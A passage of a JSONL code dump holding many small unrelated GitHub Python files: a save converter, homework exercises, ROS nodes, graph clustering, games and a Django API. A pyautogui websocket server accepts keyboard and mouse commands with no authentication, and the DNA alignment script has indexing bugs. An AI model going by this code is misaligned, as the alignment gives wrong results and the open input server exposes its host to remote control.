equips\nsaveFile[0x8790:0x8858] = data[0x3ea:0x4b2] # Extract materials\nsaveFile[0x89e8:0x8b50] = data[0x642:0x7aa] # Extract special items\nsaveFile[0x83a8:0x8420] = reverse_endianness_block2(saveFile[0x83a8:0x8420])\nsaveFile[0x8538:0x8718] = reverse_endianness_block2(saveFile[0x8538:0x8718])\nsaveFile[0x8790:0x8858] = reverse_endianness_block2(saveFile[0x8790:0x8858])\nsaveFile[0x89e8:0x8b50] = reverse_endianness_block2(saveFile[0x89e8:0x8b50])\n\n# Copy over character data\noffset = 0x9346\nfor i in range(1, 57):\n str_i = \"0\"+str(i) if i < 10 else str(i)\n with open(path+\"/C\"+str_i+\".ngd\", 'rb') as f:\n data = f.read()\n saveFile[offset+0x000:offset+0x004] = data[0x000:0x004][::-1] # Level\n saveFile[offset+0x004:offset+0x00c] = data[0x004:0x00c][::-1] # EXP\n for s in range(14): # HP -> SPD, then FIR -> PHY\n start = 0xc + (s*4)\n end = start + 4\n saveFile[offset+start:offset+end] = data[start:end][::-1] # Library level\n for s in range(6): # HP -> SPD\n start = 0x44 + (s*4)\n end = start + 4\n saveFile[offset+start:offset+end] = data[start:end][::-1] # Level up bonus\n saveFile[offset+0x05c:offset+0x060] = data[0x05c:0x060][::-1] # Subclass\n for s in range(40): # 12 boost, 6 empty, 2 exp, 10 personal, 10 spells\n start = 0x60 + (s*2)\n end = start + 2\n saveFile[offset+start:offset+end] = data[start:end][::-1] # Skill level\n for s in range(20): # 10 passives, 10 spells\n start = 0xb0 + (s*2)\n end = start + 2\n saveFile[offset+start:offset+end] = data[start:end][::-1] # Subclass skill level\n for s in range(12): # HP, MP, TP, ATK -> SPD, ACC, EVA, AFF, RES\n start = 0xd8 + (s*1)\n end = start + 1\n saveFile[offset+start:offset+end] = data[start:end][::-1] # Tome flags\n for s in range(8): # HP, MP, TP, ATK -> SPD\n start = 0xe4 + (s*1)\n end = start + 1\n saveFile[offset+start:offset+end] = data[start:end][::-1] # Boost flags\n saveFile[offset+0x0ec:offset+0x0ee] = data[0x0ed:0x0ef][::-1] # Unused skill points\n saveFile[offset+0x0ee:offset+0x0f2] = data[0x0f0:0x0f4][::-1] # Unused level up bonus\n for s in range(8): # HP, MP, TP, ATK -> SPD\n start = 0xf2 + (s*2)\n end = start + 2\n saveFile[offset+start:offset+end] = data[start+2:end+2][::-1] # Gem count\n saveFile[offset+0x102] = data[0x104] # Used training manuals\n saveFile[offset+0x103:offset+0x107] = data[0x105:0x109][::-1] # BP count\n for s in range(4): # main, 3 sub equips\n start = 0x107 + (s*2)\n end = start + 2\n saveFile[offset+start:offset+end] = data[start+2:end+2][::-1] # Equip ID\n offset += 0x10f\n\n# Fully unlock maps\nif (useFullMaps):\n saveFile[0x0ce8e:0x2ae8e] = [0x55]*0x1e000 # 30 floors\n saveFile[0x33e8e:0x3ee8e] = [0x55]*0xb000 # 11 underground floors\n #(B1F is D40.txt; 31-39 are unused)\nelif (useFullMaps is None):\n #Old map format: 1 byte per cell. Squares are either \"#\" (explored) or \".\" (unexplored)\n #New map format: 2 bits per cell, packed together for 4 squares per byte.\n #Data is \"rotated\", meaning the first \"line\" in the new format is the first column of the old data.\n #0x00 is fully unexplored, 0x55 (i.e. 0101 0101) is fully explored.\n #The maps are the same size as in the standalone version. All maps are 128x128.\n hashmap = {'.' : 0, '#' : 1}\n mapstart = 0x0ce8e\n newMapsize = 128*128//4\n for i in range(50):\n filename = f'D{i+1:02}.txt'\n with open(path+\"/\"+filename, 'r') as f:\n data = f.readlines()\n assert(len(data) == 128)\n #Read in 4 bytes at once from each file. Need to go \"sideways\" and read columns first, then rows.\n #Pack the result into a single byte, ORing and offsetting each bit\n for x in range(newMapsize):\n byteval = (hashmap[data[(x*4+0) % 128][(x*4+0) // 128]] << 0 |\n hashmap[data[(x*4+1) % 128][(x*4+1) // 128]] << 2 |\n hashmap[data[(x*4+2) % 128][(x*4+2) // 128]] << 4 |\n hashmap[data[(x*4+3) % 128][(x*4+3) // 128]] << 6)\n saveFile[mapstart+x] = byteval\n mapstart += newMapsize\n assert(mapstart == 0x3ee8e)\n#\n\n# A decrypted file for debugging\nwith open(path+\"/result-decrypted.dat\", 'wb') as f:\n f.write(bytes(saveFile))\nsaveFile = [((i & 0xff) ^ c) for i, c in enumerate(saveFile)]\n# The final file\nwith open(path+\"/result.dat\", 'wb') as f:\n f.write(bytes(saveFile))\n","repo_name":"Thurler/thlaby2-save-convert","sub_path":"convert_save.py","file_name":"convert_save.py","file_ext":"py","file_size_in_byte":8899,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"6551832781","text":"# QUESTION 3.1:\n# Create a program that tells you whether or not you need an umbrella when you leave the house.\n# The program should:\n# 1. Ask you if it is raining using input()\n# 2. If the input is 'y', it should output 'Take an umbrella'\n# 3. If the input is 'n', it should output 'You don't need an umbrella'\n\n# ANSWER:\nis_raining = input(\"Is it raining? (y/n) \").strip().lower()\n\nif is_raining == \"y\" or is_raining == \"yes\":\n print(\"Take an umbrella\")\nelse:\n print(\"You don\\'t need an umbrella\")","repo_name":"NatalieJClark/pythonHomeworks","sub_path":"question3.1.py","file_name":"question3.1.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4823045096","text":"import rclpy\nfrom rclpy.node import Node\nfrom std_msgs.msg import String\nimport time\nfrom multiprocessing import Process\n\nclass Talker(Node):\n def __init__(self):\n super().__init__('talker')\n self.publisher_ = self.create_publisher(String, 'chatter', 10)\n timer_period = 1.0\n self.timer = self.create_timer(timer_period, self.timer_callback)\n self.i = 0\n\n def timer_callback(self):\n msg = String()\n msg.data = 'Hello World: %d' % self.i\n self.publisher_.publish(msg)\n self.i += 1\n\nclass Listener(Node):\n def __init__(self):\n super().__init__('listener')\n self.subscriber = self.create_subscription(\n String,\n 'chatter',\n self.callback,\n 10\n )\n self.subscriber # prevent unused variable warning\n\n def callback(self, msg):\n self.get_logger().info('I heard: \"%s\"' % msg.data)\n\ndef run_talker():\n rclpy.init(args=None)\n talker = Talker()\n rclpy.spin(talker)\n rclpy.shutdown()\n\ndef run_listener():\n rclpy.init(args=None)\n listener = Listener()\n rclpy.spin(listener)\n rclpy.shutdown()\n\nif __name__ == '__main__':\n talker_process = Process(target=run_talker)\n listener_process = Process(target=run_listener)\n\n talker_process.start()\n listener_process.start()\n\n # In this example, both nodes will run for 10 seconds.\n # Afterward, both processes will be terminated.\n time.sleep(10)\n\n talker_process.terminate()\n listener_process.terminate()\n\n talker_process.join()\n listener_process.join()\n","repo_name":"vyomkeshj/ros2_experiments","sub_path":"src/processes.py","file_name":"processes.py","file_ext":"py","file_size_in_byte":1594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19184939018","text":"import networkx as nx\nimport csv\nimport codecs\nfrom karger_algorithm import karger_algorithm\nfrom networkx.algorithms import community\n\nG = nx.Graph()\ninfo = dict()\nwith codecs.open(\"data/small_nodes.csv\", 'r', 'utf-8') as file:\n csv_reader = csv.reader(file)\n nodes = []\n for row in csv_reader:\n nodes.append(row[0])\n info[row[0]] = row[1]\n\nwith codecs.open(\"data/small_edges.csv\", 'r', 'utf-8') as file:\n csv_reader = csv.reader(file)\n edges = []\n for row in csv_reader:\n edges.append([row[0], row[1]])\n\nG.add_nodes_from(nodes[1:])\nG.add_edges_from(edges[1:])\nG.to_undirected_class()\n\n# Draw KClique\ncliques = list(community.k_clique_communities(G, 5))\nwith codecs.open(\"data/friends_Kclique_edges.csv\", 'w', \"utf-8\") as file_edges,\\\n codecs.open(\"data/friends_Kclique_nodes.csv\", 'w', \"utf-8\") as file_nodes:\n file_nodes_writer = csv.writer(file_nodes)\n file_nodes_writer.writerow(['Id', 'Label'])\n file_edges_writer = csv.writer(file_edges)\n file_edges_writer.writerow(['Source', 'Target'])\n list_edges = []\n for clique in cliques:\n for c1 in clique:\n file_nodes_writer.writerow([c1, info[c1]])\n for c2 in clique:\n if c1 != c2:\n if [c1, c2] not in list_edges:\n list_edges.append([c1, c2])\n for edge in list_edges:\n file_edges_writer.writerow(edge)\n\n\n# Draw Karger's\nwith codecs.open(\"data/friends_Karger_edges.csv\", 'w', \"utf-8\") as file_edges,\\\n codecs.open(\"data/friends_Karger_nodes.csv\", 'w', \"utf-8\") as file_nodes:\n csv_writer_edges = csv.writer(file_edges)\n csv_writer_edges.writerow(['Source', 'Target'])\n csv_writer_nodes = csv.writer(file_nodes)\n csv_writer_nodes.writerow(['Id', 'Label'])\n scc = nx.connected_component_subgraphs(G)\n i = 0\n for g in scc:\n for i in range(50):\n i += 1\n print(i)\n min_cut = karger_algorithm(g, 2)\n for edge in min_cut.edges():\n csv_writer_edges.writerow(list(edge))\n for node in min_cut.nodes():\n csv_writer_nodes.writerow([node, info[node]])","repo_name":"bognik002/Community_Detection_VK","sub_path":"graph_drawing.py","file_name":"graph_drawing.py","file_ext":"py","file_size_in_byte":2159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23656334971","text":"# Ստեղծեք Circle class-ը, որն ունի հետևյալ attribute-ները՝ radius և color։ Class-ի\n# ներսում ստեղծեք getDesc(self) մեթոդը, որը կտպի “A color circle with radius\n# radius.” ՝ օգտագործելով համապատասխան attribute-ների արժեքները։\n# Փորձարկեք class-ի աշխատանքը ստեղծելով այդ class-ի object(ներ)։\n\n\nclass Circle: \n def __init__(self, color, radius): \n self.radius = radius\n self.color = color\n \n def getDesc(self): \n return print(\"A %s circle with radius %d.\" %(self.color, self.radius))\n \n\n\nc1 = Circle(\"blue\", 15)\nc2 = Circle(\"red\", 2)\n\nc1.getDesc()\nc2.getDesc()","repo_name":"ChessLover/Python1_HW","sub_path":"Week7/Practical/Practical_1.py","file_name":"Practical_1.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"hy","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18120457601","text":"import unittest\nimport pandas as pd\nimport warnings\nfrom webviz_line_chart import LineChart\n\nline_mock_data = {\n 'index': ['2012-01-01', '2012-01-02'],\n 'line1': [1, 2],\n 'line2': [5, 3],\n 'category': ['A', 'B'],\n 'dateslider': ['2012-01-01', '2012-01-02']\n}\n\n\nclass TestLineChart(unittest.TestCase):\n def test_negative_logy_raises_warning(self):\n with warnings.catch_warnings(record=True) as w:\n warnings.simplefilter(\"always\")\n LineChart(\n pd.DataFrame({\n 'index': ['2012-01-01', '2012-01-02'],\n 'line1': [1, -2],\n 'line2': [5, 3],\n 'category': ['A', 'B'],\n 'dateslider': ['2012-01-01', '2012-01-02']\n }),\n logy=True\n )\n assert(issubclass(w[-1].category, UserWarning))\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"equinor/webviz-archived","sub_path":"visualizations/line_chart/tests/test_line_chart.py","file_name":"test_line_chart.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"61"} +{"seq_id":"33638699009","text":"import sys\r\nfrom collections import deque\r\ninput = sys.stdin.readline\r\n\r\n\r\ndef bfs():\r\n while l1:\r\n tmp = l1.popleft()\r\n\r\n for i in [tmp - 1, tmp + 1, tmp * 2]:\r\n if 0 <= i <= 100000:\r\n if visited[i][0] == 0:\r\n visited[i][0] = visited[tmp][0] + 1\r\n visited[i][1] = visited[tmp][1]\r\n l1.append(i)\r\n elif visited[i][0] == visited[tmp][0] + 1:\r\n visited[i][1] += visited[tmp][1]\r\n\r\n\r\nn, k = map(int, input().split())\r\nl1 = deque()\r\nvisited = [[0, 0] for _ in range(100001)]\r\nl1.append(n)\r\nvisited[n][0] = 1\r\nvisited[n][1] = 1\r\n\r\nif n >= k:\r\n print(n-k)\r\n print(1)\r\nelse:\r\n bfs()\r\n print(visited[k][0] - 1)\r\n print(visited[k][1])\r\n","repo_name":"tfer2442/myAlgorithm","sub_path":"백준/Gold/12851. 숨바꼭질 2/숨바꼭질 2.py","file_name":"숨바꼭질 2.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4494749492","text":"import os\nos.environ['DISPLAY'] = ':0'\nos.environ['XAUTHORITY']='/run/user/1000/gdm/Xauthority'\n\nimport pyautogui\nimport websockets\nimport asyncio\nimport time\n\nasync def handler(websocket, path):\n fullscreen_toggle = False\n while True:\n try:\n data = await websocket.recv()\n except websockets.exceptions.ConnectionClosedOK as e:\n print(\"disconnected from keyboard ws\")\n return\n\n if len(data) == 1:\n pyautogui.write(data)\n elif data == \"Backspace\":\n pyautogui.write(\"\\b\")\n elif data == \"Enter\":\n pyautogui.write(\"\\n\")\n elif data.startswith(\"*paste*\"):\n pyautogui.write(data.lstrip(\"*paste*\"))\n elif data.startswith(\"*raw-command*\"):\n command = data.lstrip(\"*raw-command*\")\n if \"fullscreen\" in command:\n if fullscreen_toggle:\n pyautogui.press(\"esc\", _pause=False)\n else:\n pyautogui.press(\"f\", _pause=False)\n # time.sleep(0.1)\n # pyautogui.press(\"f11\", _pause=False)\n fullscreen_toggle = not fullscreen_toggle\n continue\n\n keys = command.split(\"+\")\n print(\"processing command:\", keys)\n \n if len(keys) == 1 or (len(keys)==2 and keys[0]==\"\"):\n key = keys[0]\n if len(keys) == 2:\n key = keys[1]\n pyautogui.press(key, _pause=False)\n continue\n for key in keys:\n if key == \"\":\n continue\n pyautogui.keyDown(key, _pause=False)\n for key in keys[::-1]:\n if key == \"\":\n continue\n pyautogui.keyUp(key, _pause=False)\n\n elif data.startswith(\"*raw_press*\"):\n pyautogui.press(data.lstrip(\"*raw_press*\"))\n else:\n print(\"\\nUNRECOGNISED COMMAND:\", data)\n \n\n\n\nasync def handlerMouse(websocket, path):\n last_movement_millis = 0\n speed_magnitude = 0.1\n scroll_magnitude = 1\n max_x, max_y = pyautogui.size()\n print(f\"connected to client!\")\n while True:\n try:\n data = await websocket.recv()\n except websockets.exceptions.ConnectionClosedOK as e:\n print(\"disconnected from keyboard ws\")\n return\n\n coord = data.split(\",\")\n x, y, gtype = 0.1, 0.1, 0\n if len(coord) == 3:\n x, y, gtype = \\\n float(coord[0])*speed_magnitude,\\\n float(coord[1])*speed_magnitude, int(coord[2])\n if len(coord) == 3 and gtype == 2:\n print(\"scroll\", \"{:.2f}\".format(x), \"{:.2f}\".format(\n y), \", type:\", gtype, \", scroll_mag:\", scroll_magnitude)\n if abs(y) >= abs(x):\n pyautogui.scroll(y*scroll_magnitude, _pause=False)\n else:\n pyautogui.hscroll(x*scroll_magnitude, _pause=False)\n elif len(coord) == 3 and gtype == 1:\n start_x, start_y = pyautogui.position()\n end_x, end_y = start_x+x, start_y+y\n if pyautogui.onScreen(end_x, end_y):\n print(\"move\", \"{:.2f}\".format(x), \"{:.2f}\".format(\n y), \", type:\", gtype, \", speed_mag:\", \"{:.4f}\".format(speed_magnitude))\n pyautogui.move(x, y, _pause=False)\n now_millis = round(time.time()*1000)\n if last_movement_millis + 30 > now_millis and speed_magnitude < 0.5:\n speed_magnitude += 0.0005\n else:\n speed_magnitude = 0.1\n last_movement_millis = now_millis\n else:\n print(x, y, \"out of bounds\")\n\n continue\n elif data == \"left-click\":\n pyautogui.click()\n print(\"left-click\")\n elif data == \"right-click\":\n print(\"right-click\")\n pyautogui.click(button=\"right\")\n\nprint(\"start server on 8000 and 8001\")\nstart_server = websockets.serve(handler, \"192.168.18.2\", 8000)\nstart_server_mouse = websockets.serve(handlerMouse, \"192.168.18.2\", 8001)\n\n\nasyncio.get_event_loop().run_until_complete(start_server)\nasyncio.get_event_loop().run_until_complete(start_server_mouse)\nasyncio.get_event_loop().run_forever()","repo_name":"tzw0/tv-console","sub_path":"controller/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33229625393","text":"from django.urls import path\n\nfrom apps.core.api import (\n CommentListCreateAPI,\n TicketAssignApi,\n TicketResolveApi,\n TicketRetriveUpdateDestroyAPI,\n TicketsListCreateAPI,\n)\n\ntickets_urls = [\n path(\"\", TicketsListCreateAPI.as_view()),\n path(\"/\", TicketRetriveUpdateDestroyAPI.as_view()),\n path(\"/assign/\", TicketAssignApi.as_view()),\n path(\"/resolve/\", TicketResolveApi.as_view()),\n]\n\ncommets_urls = [\n path(\"/comments/\", CommentListCreateAPI.as_view()),\n]\nurlpatterns = tickets_urls + commets_urls\n","repo_name":"Imprud/hillel_05_2022_support","sub_path":"src/apps/core/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21663063862","text":"#!/usr/bin/env python\r\nimport rospy\r\nfrom sensor_msgs.msg import Image\r\nimport matplotlib.pylab as plt\r\nfrom skimage.morphology import skeletonize\r\nimport numpy as np \r\nimport cv2\r\nfrom cv_bridge import CvBridge\r\nfrom ros_service.srv import path, pathResponse\r\n\r\ndef process_image(data):\r\n global image_message\r\n image_message = data\r\n\r\ndef main(message):\r\n global image_message\r\n rospy.Subscriber(message.img_topic, Image, process_image)\r\n bridge = CvBridge()\r\n img_name = bridge.imgmsg_to_cv2(image_message, \"bgr8\")\r\n rgb_img = plt.imread(img_name)\r\n gray_img = cv2.cvtColor(rgb_img, cv2.COLOR_BGR2GRAY) \r\n plt.figure(figsize=(7, 7)) \r\n plt.imshow(gray_img) \r\n h=rgb_img.shape[0]\r\n w=rgb_img.shape[1]\r\n print(h)\r\n print(w)\r\n\r\n x0, y0 = 20, 18\r\n x1, y1 = 300, 300 \r\n plt.figure(figsize=(7,7))\r\n plt.imshow(gray_img)\r\n plt.plot(x0, y0, 'gx', markersize=14)\r\n plt.plot(x1, y1, 'rx', markersize=14) \r\n\r\n th, thr_img = cv2.threshold(gray_img, 127, 255, cv2.THRESH_BINARY)\r\n plt.figure(figsize=(7,7))\r\n plt.imshow(thr_img)\r\n plt.show()\r\n\r\n skeleton = skeletonize(thr_img/255)\r\n print(skeleton.shape)\r\n print(skeleton[21,22])\r\n print(y1,x1)\r\n\r\n print(type(skeleton))\r\n plt.figure(figsize=(7,7))\r\n plt.imshow(skeleton)\r\n\r\n mapT = ~skeleton\r\n plt.figure(figsize=(7,7))\r\n plt.imshow(mapT)\r\n plt.show()\r\n\r\n _mapt = np.copy(mapT)\r\n print(_mapt)\r\n boxr = 30\r\n\r\n if y1 < boxr: y1 = boxr\r\n if x1 < boxr: x1 = boxr\r\n\r\n cpys, cpxs = np.where(_mapt[y1 - boxr:y1 + boxr, x1 - boxr:x1 + boxr] == 0)\r\n print(cpys, cpxs)\r\n\r\n cpys += (y1 - boxr)\r\n cpxs += (x1 - boxr)\r\n\r\n idx = np.argmin(np.sqrt((cpys - y1) ** 2 + (cpxs - x1) ** 2))\r\n y, x = cpys[idx], cpxs[idx]\r\n\r\n pts_x = [x]\r\n pts_y = [y]\r\n pts_c = [0]\r\n\r\n xmesh, ymesh = np.meshgrid(np.arange(-1, 2), np.arange(-1, 2))\r\n ymesh = ymesh.reshape(-1)\r\n xmesh = xmesh.reshape(-1)\r\n\r\n dst = np.zeros((thr_img.shape))\r\n # Breath first algorithm exploring a tree\r\n while (True):\r\n idc = np.argmin(pts_c)\r\n ct = pts_c.pop(idc)\r\n x = pts_x.pop(idc)\r\n y = pts_y.pop(idc)\r\n \r\n ys, xs = np.where(_mapt[y - 1:y + 2, x - 1:x + 2] == 0)\r\n\r\n _mapt[ys + y - 1, xs + x - 1] = ct\r\n _mapt[y, x] = 9999999\r\n\r\n dst[ys + y - 1, xs + x - 1] = ct + 1\r\n\r\n pts_x.extend(xs + x - 1)\r\n pts_y.extend(ys + y - 1)\r\n pts_c.extend([ct + 1] * xs.shape[0])\r\n\r\n if pts_x == []:\r\n break\r\n if np.sqrt((x - x0) ** 2 + (y - y0) ** 2) < boxr:\r\n edx = x\r\n edy = y\r\n break\r\n \r\n plt.figure(figsize=(14, 14))\r\n plt.imshow(dst)\r\n plt.show()\r\n\r\n path_x = []\r\n path_y = []\r\n\r\n y = edy\r\n x = edx\r\n while (True):\r\n nbh = dst[y - 1:y + 2, x - 1:x + 2]\r\n nbh[1, 1] = 9999999\r\n nbh[nbh == 0] = 9999999\r\n\r\n if np.min(nbh) == 9999999:\r\n break\r\n\r\n idx = np.argmin(nbh)\r\n \r\n y += ymesh[idx]\r\n x += xmesh[idx]\r\n\r\n if np.sqrt((x - x1) ** 2 + (y - y1) ** 2) < boxr:\r\n print('Optimum route found.')\r\n break\r\n path_y.append(y)\r\n path_x.append(x)\r\n\r\n plt.figure(figsize=(15,15))\r\n plt.imshow(rgb_img)\r\n plt.plot(path_x, path_y, 'b-', linewidth=5)\r\n plt.show()\r\n n=len(path_x)\r\n path=[]\r\n for i in range(n):\r\n path.append([path_x[i],path_y[i]])\r\n\r\n #path contains the list of all the [x,y] coordinates of the shortest path\r\n SPC=np.array(path)\r\n np.save('shortest_path.npy',SPC)\r\n\r\n return pathResponse('Done')\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n try:\r\n rospy.init_node('service_respond')\r\n service=rospy.Service('service_for_path',path,main)\r\n rospy.spin()\r\n except rospy.ROSInterruptException:\r\n pass","repo_name":"krishnakvs10/Maze-Bot","sub_path":"IP_solutions/Service_for_ShortestPath.py","file_name":"Service_for_ShortestPath.py","file_ext":"py","file_size_in_byte":3900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25349649744","text":"\"\"\"This file is for testing\"\"\"\nimport pygame\nimport math\n\nclass Block(pygame.sprite.Sprite):\n \"\"\" This class represents the ball that moves in a circle. \"\"\"\n\n def __init__(self, color, width, height):\n \"\"\" Constructor that create's the ball's image. \"\"\"\n super().__init__()\n self.image =pygame.image.load('images/abby.png')\n self.rect = self.image.get_rect()\n self.radius = 25\n self.angle = 0.1\n\n def update(self):\n \"\"\" Update the ball's position. \"\"\"\n # Calculate a new x, y\n self.rect.x = self.radius * math.sin(self.angle / 75) + 150\n self.rect.y = self.radius * math.cos(self.angle / 75) + 150\n self.angle += 0.25\n\n\n# Initialize Pygame\npygame.init()\n\n# Set the height and width of the screen\nscreen = pygame.display.set_mode((300, 300))\n\nblock_list = pygame.sprite.Group()\nall_sprites_list = pygame.sprite.Group()\nblock = Block(0, 0, 0)\nall_sprites_list.add(block)\n\n# Loop until the user clicks the close button.\ndone = False\n\n# -------- Main Program Loop -----------\nwhile not done:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n done = True\n\n all_sprites_list.update()\n # Clear the screen\n screen.fill((0, 0, 0))\n\n # Draw all the spites\n all_sprites_list.draw(screen)\n\n # Go ahead and update the screen with what we've drawn.\n pygame.display.flip()\n\npygame.quit()\n","repo_name":"maximus-sallam/Alien-Invasion","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31819191078","text":"import sys\n\n\ndef average(a: int, b: int) -> float:\n return (a + b) / 2\n\ntest_cases = int(sys.stdin.readline())\n\nfor j in range(test_cases):\n\n row1 = sys.stdin.readline().split()\n for i in range(3):\n row1[i] = int(row1[i])\n\n row2 = sys.stdin.readline().split()\n for i in range(2):\n row2[i] = int(row2[i])\n\n row3 = sys.stdin.readline().split()\n for i in range(3):\n row3[i] = int(row3[i])\n\n G00 = row1[0]\n G01 = row1[1]\n G02 = row1[2]\n G10 = row2[0]\n G12 = row2[1]\n G20 = row3[0]\n G21 = row3[1]\n G22 = row3[2]\n\n # check for borders\n border_count = 0\n\n x = average(G02, G22)\n if G12 == x:\n border_count += 1\n\n x = average(G20, G22)\n if G21 == x:\n border_count += 1\n\n x = average(G00, G20)\n if G10 == x:\n border_count += 1\n\n x = average(G02, G00)\n if G01 == x:\n border_count += 1\n\n count: dict\n count = {0: 0} # key is number, value is count\n\n x = average(G00, G22)\n if (x == int(x)):\n if x not in count.keys():\n count[x] = 1\n else:\n count[x] += 1\n\n x = average(G10, G12)\n if (x == int(x)):\n if x not in count.keys():\n count[x] = 1\n else:\n count[x] += 1\n\n x = average(G20, G02)\n if (x == int(x)):\n if x not in count.keys():\n count[x] = 1\n else:\n count[x] += 1\n\n x = average(G01, G21)\n if (x == int(x)):\n if x not in count.keys():\n count[x] = 1\n else:\n count[x] += 1\n\n values_of_Count = count.values()\n print('Case', f'#{j+1}:', max(values_of_Count) + border_count)\n\n\n","repo_name":"khushaal-nandwani/google-kickstart","sub_path":"Arith_Sq.py","file_name":"Arith_Sq.py","file_ext":"py","file_size_in_byte":1670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30349025445","text":"from django.urls import path, include\nfrom rest_framework.routers import DefaultRouter\nfrom .views import UserModelViewSet, EmailModelViewSet, OrderModelViewSet\n\napp_name = \"v1-bot\"\n\nrouter = DefaultRouter()\nrouter.register('BotUser', UserModelViewSet, basename='BotUser')\nrouter.register('BotEmail', EmailModelViewSet, basename='BotEmail')\nrouter.register('BotOrder', OrderModelViewSet, basename='BotOrder')\n\nurlpatterns = [\n path('', include(router.urls))\n]\n","repo_name":"VQIVS/MarzbanBot","sub_path":"bot/api/v1/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"72709355395","text":"# Import module\nfrom tkinter import *\n \n# Create object\nsplash_root = Tk()\n \n# Adjust size\nsplash_root.geometry(\"200x200\")\n \n# Set Label\nsplash_label = Label(splash_root, text=\"Splash Screen\", font=18)\nsplash_label.pack()\n \n# main window function\ndef main():\n # Create object\n root = Tk()\n \n # Adjust size\n root.geometry(\"400x400\")\n \n \n# Call main function\nmain()\n \n# Execute tkinter\nmainloop()\n","repo_name":"lel99999/dev_python-experimental","sub_path":"GUI/basic_tkinter_splash.py","file_name":"basic_tkinter_splash.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2572295323","text":"# Introduction to Dynamic Programming for Bioinformatics\n# Comparing DNA strands\nimport numpy as np\n\n# Global Alignment\n# 'global': entire sequence\n# 'alignment': maximise score of match/mismatch/gaps between strands\n# Pairwise: create gaps for better alignment\n# Note there are other ways\n\nDNA_nuc = {'A': 0b00,\n 'C': 0b11,\n 'G': 0b00,\n 'T': 0b01}\n\n# Needlman-Wunsch algorithm for similarity scoring, alignment\n# not good:\n\"\"\"\nSequence 1 ==> G T C C A T A C A\nSequence 2 ==> T C A T A T C A G\n\"\"\"\n# +1 for each match\n# -1 for mismatch\n# -1 for gap (insert/delete)\n# Above score: 2-7-0=-5\n\"\"\"\nSequence 1 ==> G T C C A T A - C A -\nSequence 2 ==> - T C - A T A T C A G\n\"\"\"\n# Score: 7-4=3\n# insertion/deletion makes sense in biology because of mutations\n\"\"\"\nMatrix\n G T C C ...\nT -1 . . ...\nC . .\nA . .\n. . .\n. . .\n. . . . ...\n\"\"\"\nX = 'GTCCATACA'\nY = 'TCATATCAG'\n\nPENAL = -1\nRWARD = +1\n\n\ndef get_score(n1, n2, penalty=PENAL, reward=RWARD):\n \"\"\"NW algorithm\"\"\"\n if n1 == n2:\n return reward\n return penalty\n\n\ndef get_align(x=X, y=Y):\n mat_size = (len(x) + 1, len(y) + 1)\n score_matrix_xy = np.ndarray(mat_size)\n for j in range(len(y) + 1):\n score_matrix_xy[0, j] = PENAL*j\n for i in range(len(x) + 1):\n score_matrix_xy[i, 0] = PENAL*i\n # start from 1 or X, Y won't have indices\n for i in range(1, len(x) + 1):\n for j in range(1, len(y) + 1):\n its_a_match = score_matrix_xy[i-1, j-1] + get_score(x[i - 1], y[i - 1])\n del_s = score_matrix_xy[i-1, j] + PENAL\n add_s = score_matrix_xy[i, j-1] + PENAL\n\n score_matrix_xy[i,j] = max([its_a_match, del_s, add_s])\n\n n_x, n_y = len(x), len(y)\n alignment = {0:'', 1:''}\n while n_x or n_y:\n score = score_matrix_xy[n_x, n_y]\n left_score = score_matrix_xy[n_x-1, n_y]\n\n if n_x and n_y and x[n_x - 1] == y[n_y - 1]:\n alignment[0]=(x[n_x-1])+alignment[0]\n alignment[1]=(y[n_x-1])+alignment[1]\n n_x -= 1\n n_y -= 1\n elif n_x>0 and score == left_score + PENAL:\n alignment[0]=(x[n_x - 1])+alignment[0]\n alignment[1]='-'+alignment[1]\n n_x -= 1\n else:\n alignment[0]= '-'+alignment[0]\n alignment[1]= y[n_y - 1]+alignment[1]\n n_y -= 1\n return alignment\n\n\nif __name__==\"__main__\":\n al=get_align(X, Y)\n [print('{}: {}'.format(x, al[x])) for x in al]\n\n\n\n\n\n","repo_name":"nidhog/genopy","sub_path":"_dna-python/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32701115775","text":"import tweepy\nfrom datetime import datetime\nfrom operator import itemgetter\nimport time\nimport calendar\nimport json\nimport sys\n\ndef timechange(day):\n time_utc = time.strptime(day, '%a %b %d %H:%M:%S +0000 %Y')\n unix_time = calendar.timegm(time_utc)\n time_local = time.localtime(unix_time)\n s = time.strftime(\"%Y:%m:%d:%H:%M:%S\", time_local)\n sp = s.split(\":\")\n reday = 